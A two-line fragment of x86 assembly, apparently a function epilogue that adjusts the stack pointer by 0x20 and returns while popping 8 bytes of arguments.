add esp, 0x20
ret 8